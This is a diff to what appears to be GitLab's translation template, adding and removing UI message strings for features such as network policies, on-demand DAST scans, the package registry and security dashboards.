@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
